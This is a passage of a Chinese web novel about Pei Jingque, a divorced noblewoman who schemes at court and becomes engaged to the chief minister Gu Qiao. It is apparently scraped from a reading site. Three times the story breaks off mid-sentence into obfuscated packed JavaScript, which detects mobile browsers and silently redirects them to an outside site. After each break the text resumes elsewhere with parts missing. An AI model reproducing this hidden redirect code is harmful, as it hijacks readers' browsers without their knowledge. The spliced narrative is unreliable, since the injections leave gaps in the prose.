“嗯,儿先谢过母亲。”顾峤站起来,想了想又加了一句,“她性子跳脱,年纪小心性也不定,日后无论做了什么还望母亲多多担待。” “……我省得。”顾老夫人目光落在幼子的脸上,心中又多一分惊奇。 *** 念慈院,裴惊鹊懒懒地在宽敞的床榻上躺了两个时辰,感觉脑海中的脉络都捋齐了才见了郑嬷嬷。 郑嬷嬷是裴惊鹊祖母身边的老人,自裴惊鹊的母亲去世后就一直协助着管理后宅,也就是裴惊鹊出嫁之后,她才被温姨娘以年岁太大的缘故送到了别院荣养。 知道温姨娘借机夺权,郑嬷嬷没有坚持,干净利落地松了手,待在别院的时候听闻府中被弄的乱糟糟也没有一句话说。 她心里明白温姨娘做妾多年根本没有管家的能力,只要耐心等到小女君归来,她的机会就来了。 所幸,她只等了三年。 郑嬷嬷进到念慈院中,仿若没看到裴惊鹊仅穿了一件薄衫就随意躺着的模样,她观察到屋中的一角燃着暖烘烘的银霜炭,低声交待侍女们不要将窗户关严实。 “女君,别院种了一片梅林,我知道您喜欢,每年冬日都储存了一些花瓣,配以燕窝熬了汤,您尝尝这个味道对不对?” 紧接着,她亲手端了一只玉碗放在裴惊鹊的面前,里面是散发热气的汤液,最上一层飘浮着浅红色的花瓣。 裴惊鹊眼睛一亮,欢欢喜喜捧着玉碗,将一碗汤液喝了下去。 唇齿留香,她餍足又慵懒地眯了眯一双水眸,和郑嬷嬷说,她在河东的时候就想念郑嬷嬷熬的汤。 “女君您回来了京城,以后日日能喝到。” 郑嬷嬷眼中满是慈爱,她没有孙女,自幼养在祖父母跟前的裴惊鹊是她看着长大的。 “那也说不准,没准儿我过两日又嫁人了。”裴惊鹊想到自己身上糊里糊涂地多了一桩婚事,笑了一声,又叹一口气。 命运半点不由人,她就是随处漂泊的浮萍,总也没个固定的去处。 “女君可有烦扰的心事?”郑嬷嬷察觉到端倪,问道。 裴惊鹊摇头,眼珠乌黑明亮,“烦扰倒没有,我想一想还挺期待的。就是姑母和表兄那里,我放不下心。” 她的声音慢慢低下来,含着不为人知的沉闷。 因为远在河东,她得到的消息滞后粗陋,想要提醒太子表兄却已经来不及了。 太子因为是储君,门下投了许多宾客,加上承光宫中的妃妾家族,上百上千的人依附在太子的身后,牵一发而动全身。 这次太子被重罚就是因为太子看重的一个门客出了错漏,玩忽职守,任由他治理的那块地方交易铁器,结果铁具外流到了戎族,冬日戎族入侵雍州,致使雍州大乱。 她没猜错的话,顾峤离京处理的就是雍州的乱子。 太子失职犯错,很快被一些人扣上勾结外敌的罪名,姑母辩解求情直接被禁足深宫……裴惊鹊闭了闭眼睛,这一场危机如同父亲所说,想要平稳度过绝对不是易事。 她要从哪一方面下手呢?不能明着为太子洗脱,也不能拨动天子敏感的神经,春祭礼快要到了,若真的让赵王主持成功,她这边的局面就更加危险。 “我听闻主君走动了不少人家,但都没得到有用的法子,孟姨娘也归家求了她的兄长,孟家人出了一招,让二郎君求娶朱氏女。” 郑嬷嬷顿了顿,没法描述自己第一时间听到这个消息的心情。 那得要蠢到什么程度才会自掘根基,皇后娘娘是裴氏倾注了全力推上去的,太子还没被废呢居然倒戈赵王,娶赵王的亲表妹进裴家……天下人怎么看裴氏一族,裴氏会成为笑柄! “父亲怎么说?”裴惊鹊语气冷厉,她今日才听到孟家的打算。 “主君没有答应,呵斥了孟姨娘,二郎君应该也没同意。”郑嬷嬷急忙回答。 “算他还有些脑子,否则,裴弘和他那个娘立刻从裴氏滚出去,那么听姓孟的话,就去做孟家的儿子。” 裴惊鹊心里厌恶,靠着和裴氏以及太子表兄沾亲带故的关系,孟家得了不少便宜,如今却恬不知耻地做起了赵王和朱氏的马前卒。 她当即也就毫不客气,直接同郑嬷嬷吩咐将府中孟姨娘的人全部换掉,“有人若敢阻拦,一律杖责二十送到偏远的庄子里。” 裴惊鹊手里有老国公留下的人马,郑嬷嬷完全不担心,带了人退下。 晚上,等到裴惊鹊休息好了,与家中的人一同用膳,除了她之外,每个人的脸色都不大对劲。 裴郢坐在主位,他的身后立着泫然欲泣的孟姨娘。 他看了一眼神色各异的子女,尤其是怒气摆在脸上的四女,长长叹了一口气,目光 18. 第十八章 《二嫁古板老男人》全本免费阅读 裴惊鹊思量多遍,最终决定先要为自己的姑母解除禁足,一来姑母此次本质上是受了迁怒,二来姑母恢复尊荣能名正言顺地弹压住宁妃母子两个。 生母范氏早逝,祖母管家有时顾不上她,裴惊鹊及笄之前有一多半的时间待在裴皇后的长秋宫,接受来自女性长辈的教导。 姑母膝下没有女儿,对她这个娘家的亲侄女十分疼爱。 裴惊鹊生的粉雕玉琢胆子也大,在长秋宫住着的时候,没少在当今天子的面前露脸,一口一个姑父地叫着,也得了些面子情。 所以,某种程度上,她往宫里递信比自己的父亲还好使。 仅仅一个上午的时间,建章宫,恭帝的御案上就多了一沓厚厚的陈情书,还是宫里的大监夏公公亲手呈上的。 彼时,恭帝正在接见从雍州归来的内阁相辅,顾峤。 不到而立之年就进入内阁并成为首辅,源于顾峤是恭帝登基之后的第一位少年状元,平稳地替代了根基深厚的老臣,也因为他的一步一步走的极稳,能力卓越却不咄咄逼人,私下也没有结党营私的架势。 恭帝对他十分信任,在他进入内阁后一改对之前那些顽固老臣的抗拒,多有倚重。 近年来随着精力不济,和对一些人的忌惮,恭帝更是时常将朝事直接交给顾峤主理,夏公公上前禀报,他也没让人避开。 “陛下,承恩公府派人送来了一支野参、一套黄玉还有三箱土仪,说是裴娘子归京特意孝敬给陛下。”夏公公笑呵呵地将装着野参的盒子呈上来,直道野参有七八百年很是珍贵。 他自己也收到了一瓶上好的养气丸,尝到了甜滋滋的味道就知道这是谁的手笔。 除了裴小娘子,京城中再没那么嗜甜的人。 恭帝当然知道裴惊鹊同河东郡丞和离归京的事,后宫中都有妃嫔和宫人议论,他想不知道都难。 “这个阿枝,也不知是随了谁的性子,行事向来不管不顾没有法度,嫁人的时候兴高采烈非要跑到那么远的地方,才几年说和离就带着嫁妆回来了。”恭帝摇摇头,端详了一番,到底收下了来自外侄女的所谓孝敬。 顾峤于殿中,得天子赐座,目光扫过熟悉的木盒,心道一模一样的东西他也得了一份。 果然是,孝心十足。 ……… 夏公公闻言就知道了恭帝的意思,轻手轻脚地又将陈情书奉上。 恭帝瞥了一眼,终究是没有打开放在了桌案上,他自己的亲侄女皇室的郡主们都没有裴惊鹊殷勤,年年送他野参滋补身体,然而心中再是熨帖裴惊鹊也毕竟姓裴。 “雍州之乱平定,从易这一趟去了两月,路途想必十分辛苦。”恭帝心思流转,注意力重新回到了殿中臣子的身上。 比起顾峤这位肱骨重臣,太子和赵王都得往后稍一稍,他接下裴惊鹊的孝敬已经足以让人吃惊,不会再读她的书信。 “陛下言重,行些路而已,算不得辛苦。”顾峤淡淡一笑,说他途中得到了从前未有的收获,“也是巧合,回京时刚好遇到裴氏车队。” 他语调微叹,恭帝当即眉眼一动,看向了被自己放置一旁的书信。 “从易仔细说说,莫非当中别有缘故?” “裴家女娘与河东郡丞和离,与臣同行,中途行至涧水时,遇到截杀,也不知背后是何方指使,臣身边的亲卫都有所不敌。” 顾峤的神态如初,轻描淡写地道出了回京途中的追杀。 这可不是一件小事,尤其还牵扯了顾峤。 恭帝心下骤沉,很快打开书信,入眼就是行迹优美但绝对没有半点筋骨的字体,他捏着纸张耐心看下去。 “姑父敬上,惊鹊嫁人三年……未有所出,常自惭形秽……惹公婆厌弃,无奈和离……昔日良人美妾相伴,我却子然一身,每想到此终泪流满面,荒凉度日……” 看到这里,恭帝皱了皱眉,冷笑和夏公公说那个姓周的小子徒有其表,“当初朕瞧那人就不安分,生的一副薄情寡义的模样。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12883434|134584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半,耳边远远传来了悦耳空灵的弦乐声,裴惊鹊自己在花园中寻了个小亭子,懒洋洋地歪着,一边生嚼花瓣一边打瞌睡。 府中的侍女们都在忙碌,青萍和翡香都没有空暇,她身为宴会的主人却借口身体不适,躲了出来。 “你看看她,成什么样子?”恭帝看到她百无聊赖的模样,冷笑不止。 夏公公干巴巴地笑一声,不敢多言,他待在陛下身边多年,自然知道陛下特意吩咐人找到裴小女娘的命令含着深意。 结果好坏出来之前,他不会说一个字。 “让人守着这里,不准任何人来打扰。” 果然,下一秒,陛下又变了脸色,夏公公垂首退至一旁。 亭子里面,裴惊鹊朦朦胧胧感觉到有人靠近,眼睛睁开了一条缝,看见她的皇帝姑父正面目冷沉地注视着她,慌得呼吸骤停,急急站直了身体。 “姑父……我身体不适在这亭中小憩,您,您怎么不在宴上与姑母一同聆听器乐?” 裴惊鹊心知不好,却不知坏处出现在哪里,脸颊急的泛红,虚虚地弯着眼睛笑。 “阿枝!不要想着瞒朕,说吧,你与顾卿之间究竟发生了何事?”恭帝看着这个从小在眼前晃的外侄女,语气异常严厉。 他的目光犹如雷霆,裴惊鹊立刻就不敢笑了,眼神觑着左右飘来飘去。 一看就心里有事,还不是小事。 “你不肯说,是否要朕将皇后和你父亲叫来?” “别,区区小事姑父还是莫要打扰姑母了。”裴惊鹊摆摆手,左右看了无人,笑容灿烂地解释,“我返京时与顾世叔同行,只是不小心走错了路而已。” “因为可能唐突到顾世叔了,所以方才不好意思与顾世叔见面。” 她若无其事地垂下眼眸,看起来有些无辜。 恭帝听着,心下狐疑,让她继续说下去。 “姑父,您也知道的,惊鹊从小没了母亲,有些事就不是很了解。”裴惊鹊说起自己的身世多了理直气壮,“我走错了房间,就躺了一会儿顾世叔的床榻。那时,我又不识得他是谁,见他长相俊美,就多逗留了一会儿,顺便,顺便要他和我坐同一辆马车。” “姑父,您也觉得这没什么大不了的吧?我与周晋安和离了,看他也不像成婚,男未婚女未嫁,多亲近一些罢了。”她抿了抿唇,又说到前前任未婚夫,愤愤不平,“后来我发现他和顾明曜长的有些像,才得知他的身份。” 同躺一张床榻,乘同一辆马车,多亲近一些……恭帝额头的青筋不停在跳,他知道这个外侄女胡闹,但没想到她会胡闹到顾从易的身上。 但是,今日顾峤肯来裴家…… “所以你就躲着顾卿?”恭帝放缓了语气。 “是啊,临到京城之前他给了我这个,说是……日后上门提亲。”裴惊鹊面对质问,慢慢吞吞地将麒麟玉佩拿了出来,语气迟疑不定。 “他是顾明曜的叔父,年纪大不说,我与顾家还有仇,怎么能嫁给他,索性就不见人了。” “姑父,要不您帮我回绝了吧?天子出口,他一个臣子而已,肯定听您的话。” 她轻轻笑一下,骨子里的肆意自然流露出来。 21. 第二十一章 恭帝盯着那块墨绿色的麒麟玉佩,许是在沉思,又许是在衡量,久久未言。 裴惊鹊脸上的笑容随着他的沉默一点点消失,她安静地垂下头看自己并在一起的脚尖。 又等了一会儿,恭帝还是没有应下她的请求,脸色也算不上好看。 裴惊鹊的自信转为了慌张与无措,小声地提起了自己去世多年的亲祖父,“姑父,祖父临终的时候和我说,您不会不管裴家与我的,我知道自己做错了,就这一个小小的忙您就帮了我吧。” “我这一次回京差一点就死了。” 她穿一身素色的衣裙,恹恹的模样失去了明艳与张扬,恍惚间与当年那个得知祖父沉疴难愈的小女孩重合。 恭帝想起了那个时候自己正是意气风发的年纪,大刀阔斧地想着改革,却险些被异母的兄弟暗算,最后是岳父裴老国公强撑着病体将那些乱臣贼子困住,帮助他化解了危机。之后没多久,岳父就病逝了,他为表敬重还亲自到裴家扶了棺。 裴家大办丧事的时候,裴郢不过三十,太子十三,面前的侄女只有十岁。 时光如驹,已经十二年过去了,整整一个轮回。 恭帝的眼神万般复杂,恨铁不成钢地开口呵斥,“你若记得你祖父的话,就不会把自己的名声弄的一团糟,千挑万选嫁了人又灰溜溜地和离回京。” 裴惊鹊闷着头不说话,只表情还有些不服气,她图周晋安长的好看会哄人哪里有错了。 惹上顾峤也是一时大意而已,谁能想到他一个相辅低调到那种程度,住到驿站也不开口表明身份。 “这玉佩你自己好好收着。” 恭帝眼不见心不烦,让她把顾峤给的玉佩收起来。 闻言,裴惊鹊一下子就急了,瞪圆了水眸,这什么意思?难道真叫她嫁给一个老男人,他每日寡着一张脸连话都不说几句! “从易自朕登基之后进入朝堂,性情稳当,不急不躁,身边也没有妻妾,除了与你差了辈分,方方面面都极为出挑。你嫁给他,比先前的周家子不知好了多少倍,你祖父九泉之下知晓也能放心。” 恭帝让她不准再胡闹,竟是认定她嫁给顾峤不是一件坏事。 裴惊鹊大为震惊,然而她又不敢反驳,于是垮着一张小脸看着恭帝的身影远去。 直到方圆十米只剩下她一个人。 女子拿起剩了一半的花瓣放在嘴中慢慢地嚼,一双眼眸半开半合。 裴惊鹊确实意想不到,她的皇帝姑父轻易就同意了裴氏与顾氏联姻,对象还是朝堂上举足轻重的相辅。 她尝到甜甜的花液,又笑了起来,这次是惬意狡黠的微笑。 *** 裴家的宴会到了尾声,恭帝和裴皇后一同离开,顾峤也坐上了回府的马车。 或许今日仅有裴皇后一人出宫的话,他会隐晦地表明自己是奉了父亲顾老太爷的意思前来赴宴,但天子出现在裴家宴会上,顾峤便没有解释。 宴会上未见到那个胆大包天在书信中向他述说情意的女子,顾峤也没有询问。 他知道自己的一句话,一个眼神就够了。 陛下生性多疑,既然已经开始试探他,就说明她故意或无意地露出了端倪,他只需要按照他的规章一步步地进行即可。 当决定做下的时刻,任何人都无法阻拦,包括天子,也包括他自己。 只是母亲那里,在他请求之后至今还未去找荥阳郡公夫人帮忙,顾峤皱了皱眉,不禁想是否因为大兄和长嫂的缘故。 裴家设宴,长嫂态度坚决,母亲一定有所考量。 顾峤正思索之时,他乘坐的马车忽然停了下来。 “……五爷,裴氏女君拦车,要见您。”隔着一扇车窗,匡梁刻意压低的声音有些失真,顾峤顿了顿,让下属退到一旁。 匡梁会意,无声地做了一个手势,他和马车周围的亲卫如潮水退去一般,隐去了暗处。 好在,他们出承恩公府的大门不远,这里仍是裴府的范围,路上没有闲杂人等,不怕被瞧见。 不过,裴氏女那是在做什么,为何绕着五爷的马车走了一圈? 匡梁不明所以,聚精会神地盯着,心道她别是故意捉弄人。 裴惊鹊哪里知道自己随意的一个举动又让人想七想八了,她就是好奇代表着顾家赴宴的顾首辅是不是还和之前一般低调简朴。 在发觉这辆带着顾家标志的马车仅仅宽敞了一些后,她的兴致就淡了,小声嘟囔一句,弯着腰钻了进去。 进到里头,看到舒适的绒毯,裴惊鹊才眼睛一亮,两下就把鞋袜脱了。 顾峤看到她的举动,没有阻止,目光在女子粉嘟嘟的脚趾上停留了一瞬,问她拦车见他要说什么。 “郎君,我都写了书信到顾家去,你难道没有看吗?拦你的车当然是因为我想和未来的夫婿多亲近亲近。”裴惊鹊的语气有些哀怨,谁家的夫婿和他一样冷淡啊,见面连句哄人的甜言蜜语都不说,直接开口质问。 “嗯,”顾峤淡淡应了一声,不知是回答书信他看过了还是在默许女子不合规矩的靠近,接着又问,“陛下和皇后皆在,宴会上为何不见你?” 裴惊鹊见他的脸上没有不悦,伸着光洁的脚丫往他的方向挪了挪,笑容好似一朵芙蓉花,“郎君没有看到我,我却见到郎君了呢,郎君穿一身青袍好生俊逸,今日宴会上所有的男子都不及你。” 甜蜜又直白的夸奖,来的猝不及防。 顾峤的灰眸定住,随后由上及下地在她的全身扫过,一遍又一遍,在女子的甜笑变得勉强时,他平静地道了一声谢,说她今日的装扮亦出尘脱俗。 “略微素了些,既然设宴,理应穿着锦衣华服。” 他这样说,裴惊鹊松了一口气,恍然大悟地哼笑,“原来郎君喜欢我穿的鲜艳一些,那我以后叫人多做绚丽的衣裙。” “不过呢,姑父和姑母前来,我是要穿的素一些,否则,有些人的阴谋诡计就得逞了。”她暗戳戳地说起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12897938|134584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故意找茬的御史夫人,静静看男人的反应。 显然,顾峤即便没有撞见但也从他人口中听说了这件事,他摩挲着指腹,摇头否认,“早朝时,御史台弹劾裴氏奢靡,与你的穿着无关。” “真是阴魂不散!我让人从平郡往边关运去八千担粮食时怎么没人指责奢靡。”裴惊鹊撇撇唇,要不是人手派去护送粮食,她回京才不会只有几十个护卫。 顾峤并不擅长说好听的话,也不适合安慰人,但他却可以一针见血地点明问题所在。 “御史台受人指使,陛下前来裴家就代表了他的态度。” 他在说幕后的人偷鸡不成蚀把米,做的越多反而马脚露的越多。 裴惊鹊一听就开心起来,翘着脚悄悄地往顾峤的下袍蹭,语调刻意拉长,“原来如此呀,怪不得皇帝姑父今日特别的好说话,我和他说郎君甚美让我情难自禁,姑父大惊失色,然后就赞郎君与我十分相配。” 她光明正大地表示两个人的猫腻天子已经知道了,而且没有反对。 顾峤的脸上出现了一分意外,他眉骨很高,定定注视着人的时候压迫感太重,犹如水面下的冰山。 笃定他不会亲口去问皇帝姑父,裴惊鹊一点都不悚,大胆地又往他的身边靠。 身体挨到他的手臂,她的眼睛弯成了月牙,索性放松下来倚着,唇中呢喃感叹,“郎君的身上好硬啊。” 不像是体弱的文臣,反而很有力气。 裴惊鹊的脸颊红扑扑的,眸中含水,她一点不喜欢文弱的男子,顾明曜和周晋安都是身姿挺拔苍劲如松的那类,她希望他也是。 面对女子的投怀送抱,顾峤的脊背挺直,神色和躯体没有一丝一毫的变化,但他的眸色变深了不少,看进她的眼底,一字一句道,“如此再好不过。” 虽然不知她和陛下究竟说了什么,虽然他肯定其中存在着隐情。 裴惊鹊从他的身上嗅到了清冷的墨香,以及不难闻的竹叶酒气,歪着头认真地端详他。 “可郎君不像是开心的样子,唉,郎君娶了我后不会立刻就把我扔到一边吧?”她很担心,因为忧愁,小脸皱成了一团。 “我娶了你,你就是顾家五房的主母,该有的你都会有。” 他说这话的时候裴惊鹊的脑袋靠了过来,睁大了一双眼睛像是山林间的小鹿,亲昵地舔了舔他的唇角。 “有些甜,还有些涩,竹叶酒的味道好怪呀。” 她做完了这个出格的动作,仿佛怕被责怪,又坐的老老实实,一脸乖巧。 顾峤的手背绷着青筋,没有呵斥也没有动怒,只嗓音低沉地同她交代,“成婚的人要稳重一些,日后不得再如此。” “只有我们两个人的时候也不可以吗?”闻言,裴惊鹊有些委屈,这都不行那还做什么夫妻。 “……婚前不可,我已经请母亲让人择选吉日提亲,你安心等着。”他停顿了片刻,低声又嘱咐。 “啊?好!”裴惊鹊应的很大声。 22. 第二十二章 裴惊鹊想着最近的吉日是什么时候,便又问道,“那我还可以给郎君写书信吗?” 以前她就很喜欢给顾明曜写信,开心了一封,不开心了一封,兴致一来吃到了一颗水润香甜的果子也要写两句话让人送到顾家。 不过,对象换成端方板正的顾相,裴惊鹊有些遗憾,觉得他大概会一口拒绝。 女子规矩地坐着,可那双光着的脚高一下低一下总是蹭到顾峤的衣袍。 她的眼睛含着期待,或许还有一分令他胸腔沉闷的怀念。 顾峤垂眸凝视,目光冷淡地盯着作乱不止的赤足,指腹用力,他没有克制自己,握住了柔嫩的脚掌。 “可以,但未成婚之前,用语必须矜持。”短短的一瞬,他的体内涌现了强烈的摧毁一切的潮流,汹涌狂暴。 脚掌被握住,裴惊鹊下意识地缩了缩小腿,根本没有察觉平静下的暗潮涌动。 “郎君的手好热,暖暖的舒服。”她张唇喟叹,语调轻快愉悦,像是天真不知世事的少女。 ……… 宴会结束后,裴惊鹊的心情极好,连着两日做了美梦。 然而裴家的其他人可就煎熬了,尤其是她的父亲裴郢,忧愁地找到了念慈院。 天子亲至,裴皇后出宫,就连位高权重的顾相都去赴了宴会,裴氏原本衰颓的势头一下子止住,京中关于裴惊鹊和离的议论也少了很多。 但承恩公裴郢却不如外界想象的那样轻松。 “宴上你姑母虽然与我说她一切安好,但长秋宫闭宫终究不是长久之计。陛下过来一趟,却也没有直接解除你姑母的禁足令!” 裴郢同女儿说到恭帝有些失望,宴上恭帝给足了裴家面子,还处罚了那个胡乱攀扯的缪夫人,裴郢别提有多惊喜了,可回到宫里姐姐裴皇后那里又恢复了原状。 两日过去,太子和裴皇后两处都没有进展。 裴郢的欢喜落空,不得不再来与长女商议下一步要怎么做,事情不能就卡在这里。 裴惊鹊正在漫不经心地翻看这几年府里的礼单,闻言她用笔随意划了一下,也跟着父亲叹气,“以前我在宫里住着,看姑父待姑母很好,谁知道现在就那么狠心,确实是帝心难测。” “看来,只有一条路可以走了。” 她若有所思地捻动笔尖,弄的葱白的手指全是墨水,看上去脏兮兮的。 “枝枝想到了什么法子?”不知为何,裴郢心中多出了一股不好的预感,看着女儿指尖的污渍直皱眉。 “很多人都知道,我自幼没了母亲,父亲您又另有儿女,所以祖父将我放在宫里养了几年。”裴惊鹊看了他一眼,慢吞吞地开口。 裴郢的脸色变得有些不自在,父母还在的时候,他的确对长女不太上心。 裴惊鹊却像是没留意到裴父的变化,嗅着墨香甜甜地笑了一下,继续往下说,“姑父姑母对我也算有养育之恩,如今我和离归家,他们总要再为我、操一份心。尤其家中未有主母,一些事必须得仰仗姑母。” 比如说,她的婚事。 她是裴氏一族的嫡长女,除了姑母以外,没有人能够为她操持婚事。 她从顾峤的口中听到他给自己麒麟玉佩的用意时就想到了这个名言正顺的理由,前日的宴会不过是个引子。 “枝枝,你才到家没几日,仓促成婚未免太过委屈。”裴郢得知女儿的打算愣了一下,他犹豫再三提到了裴弘。 “他有自己的生母,还有个热心的外家,婚事用不到我们裴家人操持。” 裴惊鹊还记得郑嬷嬷说过的话。 裴郢轻咳一声,不再多言。 “……这些时日,你若有看得上的男子,父亲会上书给陛下,让你姑母帮忙。”一提到裴弘,父女两人的气氛就多出了尴尬,这是一个永远解不开的结。 “很快,大概不会叫父亲失望吧。”裴惊鹊深深地嗅了一口墨香,笑着说道。 她的手边就放了一本历法,画好一个圈的吉日在十日后。 其实后天也是一个吉日,宜嫁娶、纳采、订盟、祈福,但裴惊鹊觉得还可以再等一等。 *** 荥阳郡公府上,顾老夫人难得上门,郡公夫人和两个儿媳相陪,直言老夫人是个贵客更是稀客。 虽然都是世家大族,但顾家因为多出一位相辅,荥阳郡公府的人自知远远不及,比寻常多出三分热情。 顾老夫人喝了一道茶,对着荥阳郡公夫人却更客气,笑眯眯的模样叫谢夫人与她的两个儿媳都一头雾水。 最后还是郡公府上的小儿媳聪慧,悄悄地屏退了屋中侍候的下人,状似无意地询问顾老夫人是否家中有喜事了。 或者喜事就和她们荥阳郡公府有关系呢。 “三娘说的不错,正是有一桩喜事想请郡公夫人帮忙。” 郡公府的小儿媳在家就称三娘,顾老夫人一开口,她们就都自在地笑了起来,既然是喜事,那就不必绷着。 不过顾家能有需要她们郡公府帮忙的地方?还是喜事? 顾老夫人也不卖关子,径直说道自己想请郡公夫人为自己的幼子去提亲。 郡公夫人年岁也大了,一头银丝,闻言皱纹中都带着不可思议,惊问,“为顾相提亲?不知是哪家的女娘?” 顾峤今岁已过而立,这些年来他清心寡欲未娶妻纳妾人人皆知。 “正是裴氏长女,前些时日她归家,恰好从易与她同行了一段路。他提到此事,我就动了心思,从易也无反对。”顾老夫人委婉地将缘由归到她自己的身上,只说她看中了裴氏长女,而不是顾峤的意思。 毕竟有先头那一桩旧事,幼子牵扯进去很容易让人非议。 “这……倒也是天造地设的良缘。”两个儿媳都震惊不知说什么时,郡公夫人反应快,笑着赞了一句。 她又想到自己家同承恩公府的渊源,笑意就更深了,言这个忙一定会帮。 “后日恰好是提亲的吉日,劳烦郡公夫人先去问问裴家的意思。” 顾老夫人自己拖了几天,这时却又选了最近的日子,主要是看清了幼子的心意。 郡公夫人满口应下,不仅如此,她还准备让自己的夫君荥阳郡公和自己一起去。 荥阳郡公与去世的裴老国公是嫡亲的表兄弟,也算是承恩公裴郢的长辈,有他出马,这桩婚事必定能成。 话说到这里,顾老夫人的目的达到,很快就心满意足地离开了荥阳郡公府。 她坐着马车回到顾家,没有惊动府中的大儿媳韦氏,知道韦氏很不满裴惊鹊,她也担心会引起乱子。 幼子几乎不向她这个母亲开口,如今只这么一次,还是相当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12903551|134584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重要的婚事,无论如何都得成了。 “扶我去四清堂。” 了结了一桩心事,顾老夫人的脸上尽是笑意。 顾峤这时在府中,知道母亲过来就明白了她已经将事情说成,但没想到时间就选在了后日。 “多谢母亲为我筹谋。”他平静地道了谢,面色如常。 “你满意就好。”顾老夫人点头,目光扫过他桌案上的文墨,不知为何突然想到了一件五年前的小事。 从易的字在家中最好,孙儿明曜与裴家小女娘的庚帖便是他写的…… 顾老夫人到了嘴边的话又咽了回去,裴家小女娘的生辰八字他应当是知道的,纳采问名那些也就不必她费心了。 *** 距离裴家的宴会已经过了三日,裴皇后的长秋宫仍然没有打开殿门的意思,而太子的承光宫更是毫无动静。 加上赵王捐赠出去王府的一半家财周济百姓得了不少称赞,漪兰宫的宁妃狠狠松了一口气,大肆赏赐了一番宫里的宫人。 “看来陛下不过是略有顾及,实际上对皇后还有她背后的裴家早不剩几分情谊,我也不必畏手畏脚小心翼翼。”宁妃心一定下,就想迫切地更进一步,首先除掉脚下的障碍。 先前没能弄死裴惊鹊,她就朝着自己的兄长发了一次脾气。 “娘娘的意思是?”采莲有些害怕,担心宁妃对长秋宫动手,那毕竟是皇后啊。 “皇后才出了宫一次,如今人的眼睛还都看着那里,我自不会对长秋宫做什么。但是承光宫,还有宫外的裴氏一族,我焉能让他们东山再起。”宁妃当机立断,立刻又让人给宫外的兄长传信。 在京中要人的命她是不敢的,但别的就说不定了。 - 承光宫中被幽禁的人不只有太子,还有太子妃常氏。 常氏被选为太子妃其实不在众人意料之中,因为常家本身并非是传承了百年的世家,太子妃的父亲仅是朝中的一个五品文职,太子妃的祖父更是连官都没做过,是彻头彻尾的庶民。 常家为寒门,出了一个太子妃可以说是天上掉馅饼,欣喜若狂。 然而当太子地位不保,身为太子妻族的常家面临五雷轰顶,又不如裴氏有深厚的底蕴,一家子的状态就可想而知了。 太子妃的长兄在京中的书院教书,傍晚的时候他没有归家,常家人找了整整一个晚上都没找到人,惊慌失措之下能求助的就只有承恩公府。 凌晨,裴惊鹊被侍女唤醒,得知这件事,立即让府中的人一同出去寻找。 所幸,有裴家的人帮助,只用了两个时辰,昏睡在护城河边的常家大郎就被找到了。 可就是这一件再微不足道的小事引起了巨大的波澜,因为常家大郎身边的一名随从无意间说漏了嘴,他们家郎君是被裴家女君连夜派去的人找到的。 裴家女君连夜派人去找一名男子?一个模样文雅俊秀的读书人?他们什么关系? 得益于裴惊鹊从前糟糕的名声,她很快与常家大郎多了一层说不清道不明的关系。 可常家大郎已有妻室,太子妃的长嫂张氏又偏偏才从娘家归来,听到传闻气着吵着要与常大郎和离。 于是,裴惊鹊人未出府,身上又背了一个浪荡同人通奸的骂名,连累着裴氏刚好一些的势头重新跌至谷底。